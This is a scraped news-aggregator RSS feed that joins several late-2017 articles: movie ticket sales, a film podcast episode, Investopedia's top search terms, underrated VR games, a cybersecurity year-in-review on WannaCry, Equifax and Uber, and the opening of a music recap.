Granted, the fault doesn’t lie completely with the exhibitors. Studios are partially responsible for those numbers as well, since movie selection is obviously a key factor in getting people to the theaters. (Except for those people who go to the movies and decide what movie they’re going to see once they arrive at the theater, which will always be bewildering to me.) It’s become a common refrain to decry Hollywood’s lack of originality and blame everything on sequels and reboots, but the two highest-grossing movies in U.S. theaters right now – Jumanji: Welcome to the Jungle and Star Wars: The Last Jedi – prove that it’s not as easy as simply writing off all sequels and reboots. As usual, it comes down to execution, and if studios spend more time strategizing about how they can execute strong ideas for their 2018 releases that still need to be completed, the prospect of seeing high quality movies just might be enough for theaters to sell more tickets this year than they did in 2017.

The post 2017’s Movie Ticket Sales Were the Lowest in 25 Years appeared first on /Film.

/Film

]]> https://briefnews.eu/2017s-movie-ticket-sales-were-the-lowest-in-25-years/feed/ 0 Daily Podcast: HT’s Top 10 Movies of 2017, 2017’s Box Office, Cloverfield, Bright 2 https://briefnews.eu/daily-podcast-hts-top-10-movies-of-2017-2017s-box-office-cloverfield-bright-2/ https://briefnews.eu/daily-podcast-hts-top-10-movies-of-2017-2017s-box-office-cloverfield-bright-2/#respond Thu, 04 Jan 2018 03:24:55 +0000 http://briefnews.eu/daily-podcast-hts-top-10-movies-of-2017-2017s-box-office-cloverfield-bright-2/ Cloverfield

On the January 3, 2018 episode of /Film Daily, Peter Sciretta is joined by /Film senior writer Ben Pearson and writer Hoai-Tran Bui to talk about the latest news, including the Bright sequel, and we’ll take a look at the state of the box office: 2017 movie ticket sales, female-led films, and the Cloverfield sequel gets pushed back again. And in our Feature Presentation, Hoai-Tran Bui talks about her top 10 movies of 2017.

You can subscribe to /Film Daily on iTunes, Google Play, Overcast and all the popular podcast apps (here is the RSS URL if you need it).

Opening Banter:

  • What has HT been up to over New Year’s Eve?
  • Peter attended Founder’s Day, celebrating the 55th anniversary of the Magic Castle and saw Laurence Fishburne and Amazing Johnathan.

In the News:

 

In Our Feature Presentation:  Hoai-Tran Bui’s Top 10 Movies of 2017
You can find more about all the stories we mentioned on today’s show at slashfilm.com. /Film Daily is published every weekday, bringing you the most exciting news from the world of movies and television as well as deeper dives into the great features from slashfilm.com. You can subscribe to /Film Daily on iTunes, Google Play, Overcast and all the popular podcast apps (RSS). Please feel free to send your feedback to us at peter@slashfilm.com. Please rate and review the podcast on iTunes and spread the word! Thanks to Sam Hume for our logo.

The post Daily Podcast: HT’s Top 10 Movies of 2017, 2017’s Box Office, Cloverfield, Bright 2 appeared first on /Film.

/Film

]]> https://briefnews.eu/daily-podcast-hts-top-10-movies-of-2017-2017s-box-office-cloverfield-bright-2/feed/ 0 The CEO of Investopedia breaks down 2017’s top search terms — you can probably guess what was No.1 https://briefnews.eu/the-ceo-of-investopedia-breaks-down-2017s-top-search-terms-you-can-probably-guess-what-was-no-1/ https://briefnews.eu/the-ceo-of-investopedia-breaks-down-2017s-top-search-terms-you-can-probably-guess-what-was-no-1/#respond Tue, 02 Jan 2018 15:04:07 +0000 http://briefnews.eu/the-ceo-of-investopedia-breaks-down-2017s-top-search-terms-you-can-probably-guess-what-was-no-1/ Siegel_David2Investopedia

  • Investopedia, an online glossary of financial terms and concepts, gets over 30 million monthly visitors
  • We spoke to CEO David Siegel about bitcoin, blockchain, and how high cryptocurrencies can go. 

Investopedia, the online glossary of terms you were probably too embarrassed to admit you didn’t actually know, has ten times the amount of retirement content as it does about bitcoin.

However, more visitors to the eighteen-year-old site were reading about bitcoin than retirement in 2017 — a number that’s doubling every single month, CEO David Siegel told Business Insider. The numbers were so astonishing that the site had to hire a full time editor for the space.

“We launched the term bitcoin in August 2011 — that was really early,” Siegel told Business Insider in an interview. “We launched the term blockchain in June 2014, so we were also early into blockchain too, but we were ridiculously early to bitcoin.”

That preparedness has helped the site, which was purchased by InterActive Corp. for $ 80 million in 2013, to rank first — or close to first — for most searches containing bitcoin.

Not surprisingly, blockchain and ICOs aren’t far behind bitcoin on the list. Siegel, who worked at DoubleClick during the heyday of the 90’s dotcom bubble, is much more bullish on the former rather than the later.

“People talk about bitcoin, and often they talk about crypto, but really the amazing thing is blockchain,” he said. “Blockchain is the infrastructure that makes everything happen.”

Cyptocurrencies are a much different story.

“So many new terms are coming up regarding this, like potcoin. There’s even a new coin out there called the shitcoin” Siegel said. “I don’t know how much more these cryptocurrencies are going to grow, but they will continue to grow with accelerated growth for some period of time — and then there’s going to be a massive crash. Now that crash could still end up 200%-300% up from where it was a couple years ago, which is still incredible, but it’s dangerous for people who are coming right into it, because they will not be up the same amount.

“In my mind, it’s not question of if, it’s just a question of when that will happen.”

Here’s the full list of Investopedia’s top terms on its site in 2017, with commentary from Siegel:

10. Millennials

“With baby boomers and Gen Xers in retirement or rapidly approaching it, millennials are about to witness the largest wealth transfer in history, bringing major changes to traditional investing tactics and retirement planning.

9. Behavioral Economics

“With thanks to Professor Richard Thaler, a key proponent of behavioral economics, this term jumped back into the spotlight when Thaler won the 2017 Nobel Memorial Prize in Economic Sciences for his development of the nudge theory.

8. Impact Investing

“A subset of socially responsible investing, impact investing aims to generate not only financial gain but also social and environmental benefits. As millennials continue to increase their wealth and start investing, they are increasingly interested in aligning their money with their values. This has catalyzed investment management firms to build new funds and products to cater to their new customers’ needs.

7. Artificial Intelligence

“One of the buzziest words in 2017, firms across all industries are talking about adopting machine learning and artificial intelligence. While 2017 was the year of building AI technology, 2018 will be the year the industry sees it in application.

6. MiFID II

“This is the newest European regulation that financial firms must comply with by January 3, 2018. Financial services firms are spending tens of millions of dollars to adapt to these new regulations, which are designed to make investing safer and more transparent.

5. Trumpcare

“President Trump made repealing Obamacare one of his top priorities as he attempted to pass his Trumpcare bill three times. While Obamacare still lives to fight another day, the administration is attempting to roll back key parts of the Affordable Healthcare Act through the latest tax reform plan and other measures.

4. ICO

“With celebrity endorsers like DJ Khaled and Paris Hilton, ICO’s have been one of the most talked about terms not only in the financial space, but in the mainstream media, as well. While more than three billion dollars has been raised in ICOs, the SEC and other regulatory bodies have cracked down on the offerings. Despite this, investment flows have not slowed amidst the bitcoin boom.

3. FAANG

“This new term was coined by Jim Cramer to represent the top performing stocks in the market, Facebook, Apple, Amazon, Netflix and Google (Alphabet). These five companies continue to dominate financial headlines as their market caps race to $ 1 Trillion.

2. Blockchain

“Wall Street might write bitcoin off as all hype, but blockchain is poised to disrupt multiple industries. In 2017, CB Insights reported that more than $ 327 million was invested in blockchain start-ups this year, with major backing from major brands such as Google, Goldman Sachs and Citi.

1. Bitcoin

“$ 8,000! $ 11,000! $ 20,000?! 2017 was the year of bitcoin mania. The cryptocurrency started the year at $ 1,000 and since then, has risen more than 1500%. While some say bitcoin is a bubble, its aggressive growth has dominated the minds of the media and the financial services sector. 2017 saw the first bitcoin billionaires as well as the introduction of bitcoin futures. With only 1,000 users owning more than 40% of the currency, according to some reports, investors are carefully watching if the price will fall or continue to rally.

]]> https://briefnews.eu/the-ceo-of-investopedia-breaks-down-2017s-top-search-terms-you-can-probably-guess-what-was-no-1/feed/ 0 2017’s underrated VR games and experiences https://briefnews.eu/2017s-underrated-vr-games-and-experiences/ https://briefnews.eu/2017s-underrated-vr-games-and-experiences/#respond Sun, 31 Dec 2017 19:19:02 +0000 http://briefnews.eu/2017s-underrated-vr-games-and-experiences/

2017 is wrapping up and so reflect we must on the year that was. By now you’ve hopefully seen our extensive list of nominees for our Best of 2017 awards, which we think do a pretty great job of representing the VR industry in 2017. But, as with any medium, there are a handful of apps that flew under the radar this year that we really, really don’t think you should be missing out on.

Some of these are already included in our nominations, but we’re still highlighting them here. These are the games and apps that didn’t get Oculus-backed marketing campaigns, prime spots on Viveport, or simply just didn’t make as big of a splash as we thought they should have in 2017. So once you’re done with Lone Echo and have ventured through Skyrim, maybe give some of these a spin.

Statik from Tarsier Studios (PSVR) – review

Perhaps it’s fitting that Statik remains an obscure gem in PSVR’s crown, left waiting to be discovered and examined, just like the game’s ambiguous story. In this VR debut from Tarsier Studios, you play as the lab rat of the bizarre Dr. Ingen, solving puzzles that take the form of contraptions locked to your arms, tracked in VR using the DualShock 4 controller. It’s an ingenious design that makes for one of VR’s most curious experiences so far, and something that will leave you picking the pieces of its plot apart for weeks after.

The Invisible Hours from Tequila Works (Rift, Vive, PSVR) – review

Rime developer Tequila Works seemingly produced this incredible piece of VR storytelling from thin air, with very little hype leading up to its release. The Invisible Hours is good enough to earn three spots in our best of 2017 nominees, though, telling a fascinating elseworld tale surrounding the mysterious murder of Nikola Tesla. You follow the action in real-time, but can rewind and explore at any point. Step-by-step you piece together a twisted narrative with characters and surprises that won’t soon be forgotten.

Frontier VR/Echo Grotto from Gaugepunk Games (Rift, Vive) – review

Gaugepunk Games is a developer you should really be paying attention to. Within the past 12 months the indie studio has released two of VR’s most immersive and wondrous experiences. Frontier VR presented three highly detailed environments that were a joy to lose yourself in, feeling the chill of winter or the heat of the sun as you watched nature at work. Echo Grotto, meanwhile, made for a fascinating caving experience that encouraged you to explore every nook and cranny of its intricate layers. You can get both of these apps together for just over $ 10 – don’t miss them.

Virtual Virtual-Reality from Tender Claws (Daydream)

Virtual Virtual-Reality is every bit as funny, bizarre and memorable as Accounting, but sadly doesn’t seem to have found the same kind of audience seeing as it’s only available on Daydream. In this surreal vision of the future you use headsets to rapidly travel from one reality to another, interacting with environments as you go. The game has something fresh and exciting to show you around every corner, and its sheer sense of imagination makes it a joy to experience from start to finish.

Form from Charm Games (Rift, Vive, Windows) – review

Form is another game that’s got a fair few nods in our nominees for the best of the year, but we still feel like more people need to play it. This is an enchanting VR adventure that takes you on a strange and surreal journey through fantastical environments with puzzles that are easy to solve but a joy to interact with. There are new sights and sounds to fall in love with every few minutes in Form, making for a rollercoaster ride that you won’t soon forget.

Eclipse: Edge of Light from White Elk Studios (Daydream) – review

Eclipse is one of the few mobile VR games that I’d suggest anyone with a PC or console-based headset still try and seek out to play. It’s an epic sci-fi adventure in which you crash land on an alien planet and explore the remains of an ancient civilization with some great platforming elements to boot. Eclipse is stunningly immersive, often easily succeeding in convincing you that you’ve touched down on an undiscovered planet. If you happen to have a Daydream-ready smartphone, this is a great reason to pick up a View headset.

Tiny Trax from FuturLab (PSVR) – review

Velocity developer FuturLab knows its stuff. The team has built a well-earned reputation for mechanical precision that makes its games hellishly addictive. For its VR debut, FuturLab took its foundation and applied it to multiplayer, creating it’s own brand of Micromachines that was tough to master, but rewarding to play once you got a grip on it. Sadly, there isn’t too much to do outside of multiplayer, so this one you should consider picking up if you can convince a friend to take the plunge with you.

This story originally appeared on Uploadvr.com. Copyright 2017

The PC Gaming channel is presented by Intel®‘s Game Dev program.

VentureBeat

]]> https://briefnews.eu/2017s-underrated-vr-games-and-experiences/feed/ 0 2017’s biggest cybersecurity facepalms https://briefnews.eu/2017s-biggest-cybersecurity-facepalms/ https://briefnews.eu/2017s-biggest-cybersecurity-facepalms/#respond Sat, 30 Dec 2017 05:16:32 +0000 http://briefnews.eu/2017s-biggest-cybersecurity-facepalms/

2017 was a year like no other for cybersecurity. It was the year we found out the horrid truths at Uber and Equifax, and border security took our passwords. A year of WannaCry and Kaspersky, VPNs and blockchains going mainstream, health care hacking, Russian hackers, WikiLeaks playing for Putin’s team, and hacking back.

In 2017 we learned that cybersecurity is a Lovecraftian game in which you trade sanity for information.

Let’s review the year that was (and hopefully will never be again).

Moscow mules

This was the year Kaspersky finally got all the big press it’s been angling for. Unfortunately for the antivirus company, it wasn’t for its research. Kaspersky spent an uncomfortable year in the headlines being accused of working with Russia’s FSB (former KGB). Eventually those suspicions got it banned from use by US government agencies.

Kaspersky’s alleged coziness with Putin’s inner circle has made the rounds in the press and infosec gossip for years. But it came to a head when an NSA probe surfaced, the Senate pushed for a ban, and — oddly — the Trump administration came with the executioner’s ax.

Obviously, Kaspersky — the company and its CEO of the same name — denied the accusations, and offered to work with the US government. They offered up their code for review and filed suit when the ban passed.

At this point, the only thing that might save Kaspersky’s reputation in the US would be finding us that pee tape. Fingers crossed.

Be still, my backdoored heart

A ransomware attack on Hollywood Presbyterian Hospital in 2016 put health care hacking center stage, but in 2017 it turned into a true nightmare.

The WannaCry ransomware attack spread like wildfire, locking up a third of the National Health Service (NHS) in England. That was followed by other worms, like Petya/NotPetya, which hit US hospitals in June.

The security of pacemakers was exposed as being awful, specifically in the case of medical device manufacturer St. Jude Medical (now rebranded as Abbott). A lot of people hated on researcher Justine Bone and MedSec for the way they went about exposing pacemaker flaws, but they were right. The FDA put a painful pin in it when it notified the public of a voluntary recall (as a firmware update) of 465,000 pacemakers made by St. Jude Medical.

Meanwhile, white-hat hackers put together the first Cyber Med Summit — a doctor-run hacker boot camp for medical professionals. That the Summit exists is a tiny bit of good news in our medical mess, but it also proved that you should probably make sure your doctor keeps a hacker on staff.

Medical staff at the Summit got a wake-up call about medical-device exploits and concluded they need to add “hacking” to their list of possible problems to assess and diagnose.

I’m not crying, you’re crying

On May 12, more than 150 countries were hit in one weekend by a huge ransomware crime wave named WannaCry. The attack was derived from a remote code execution vulnerability (in Windows XP up through Windows Server 2012) called “EternalBlue,” found in the April Shadow Brokers/NSA dump. Those who did their Windows updates were not affected.

WannaCry demanded $ 300 in bitcoin from each victim, and among those included were the UK’s National Health Service (NHS). The ransomworm was stopped in its tracks by the registration of a single domain that behaved like a kill switch. The creators apparently neglected to secure their own self-destruct button.

Researcher MalwareTech was the hero of the day with his quick thinking, but he was sadly repaid by having his identity outed by British tabloids. Adding insult to injury, he was later arrested on unrelated charges as he attempted to fly home after the DEF CON hacking conference in August.

Two weeks after the attack, Symantec published a report saying the ransomware showed strong links to the Lazarus group (North Korea).

Others independently came to the same conclusion. Eight months later, and just in time for his boss’ warmongering on North Korea, Trump team member Thomas P. Bossert wrote in the Wall Street Journal that “the U.S. today publicly attributes the massive ‘WannaCry’ cyberattack to North Korea.”

Maybe he’s just a backdoor man

US Deputy Attorney General Rod Rosenstein in October introduced the world to the new and totally made-up concept of “responsible encryption” — and was promptly laughed out of the collective infosec room.

“Responsible encryption is effective secure encryption, coupled with access capabilities,” he said.

He suggested that the feds won’t mandate encryption backdoors “so long as companies can cough up an unencrypted copy of every message, call, photo or other form of communications they handle.”

Even non-infosec people thought his new PR buzzwords were suspect. “Look, it’s real simple. Encryption is good for our national security; it’s good for our economy. We should be strengthening encryption, not weakening it. And it’s technically impossible to have strong encryption with any kind of backdoor,” said Representative Will Hurd (R-Texas) at The Atlantic’s Cyber Frontier event in Washington, D.C.

Politico wrote:

It’s a cause Rosenstein has quietly pursued for years, including two cases in 2014 and 2015 when, as the US attorney in Maryland, he sought to take companies to court to make them unscramble their data, a DOJ official told POLITICO. But higher-ups in President Barack Obama’s Justice Department decided against it, said the official, who isn’t authorized to speak to the news media about the cases.

To everyone’s dismay, Rosenstein doubled down on his “responsible encryption” campaign when he capitalized on a mass shooting — using as his example the phone of Devin Patrick Kelley, who opened fire on a congregation in Texas, killing 26 people.

He said, “Nobody has a legitimate privacy interest in that phone … But the company that built it claims that it purposely designed the operating system so that the company cannot open the phone even with an order from a federal judge.”

Like Uber, but for Equifax

If there was some kind of reverse beauty pageant for worst look, worst behavior, and best example of what not to do with security, we’d need a tiebreaker for 2017. Equifax and Uber dominated the year with their awfulness.

Equifax was forced to admit it was hacked badly in both March and July, with the latter affecting around 200 million Americans (plus 400,000 in the UK). Motherboard reported that “six months after the researcher first notified the company about the vulnerability, Equifax patched it — but only after the massive breach that made headlines had already taken place… This revelation opens the possibility that more than one group of hackers broke into the company.”

Shares of Equifax plummeted 35 percent after the July disclosure. And news that some of its execs sold off stock before the breach was made public triggered a criminal probe.

Which brings us to the “unicorn” that fell from grace.

In late November, Uber admitted it was hacked in October 2016, putting 57 million users and more than half a million drivers at risk. Uber didn’t report the breach to anyone — victims or regulators — then paid $ 100,000 to the hackers to keep it quiet and hid the payment as a bug bounty. All of which led to the high-profile firing and departures of key security team members.

Just a couple of weeks later, in mid-December, the now notorious “Jacobs letter” was unsealed, accusing Uber of spying and hacking. “It was written by the attorney of a former employee, Richard Jacobs, and it contains claims that the company routinely tried to hack its competitors to gain an edge,” Engadget wrote, and “used a team of spies to steal secrets or surveil political figures and even bugged meetings between transport regulators — with some of this information delivered directly to former CEO Travis Kalanick.”

The letter was so explosive, it’s now the trial between Uber and Waymo — so we can be sure we haven’t seen the last of Uber’s security disasters in the news.

Images: Getty Images/iStockphoto (Wannacry); D. Thomas Magee (all illustrations)

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]]> https://briefnews.eu/2017s-biggest-cybersecurity-facepalms/feed/ 0 2017’s Best Moments in Music, From Cardi B to Lady Gaga https://briefnews.eu/2017s-best-moments-in-music-from-cardi-b-to-lady-gaga/ https://briefnews.eu/2017s-best-moments-in-music-from-cardi-b-to-lady-gaga/#respond Fri, 29 Dec 2017 19:19:49 +0000 http://briefnews.eu/2017s-best-moments-in-music-from-cardi-b-to-lady-gaga/ From Cardi B’s ascent to the top of the Hot 100 to Lady Gaga’s Coachella domination, it was a pretty good year for pop.


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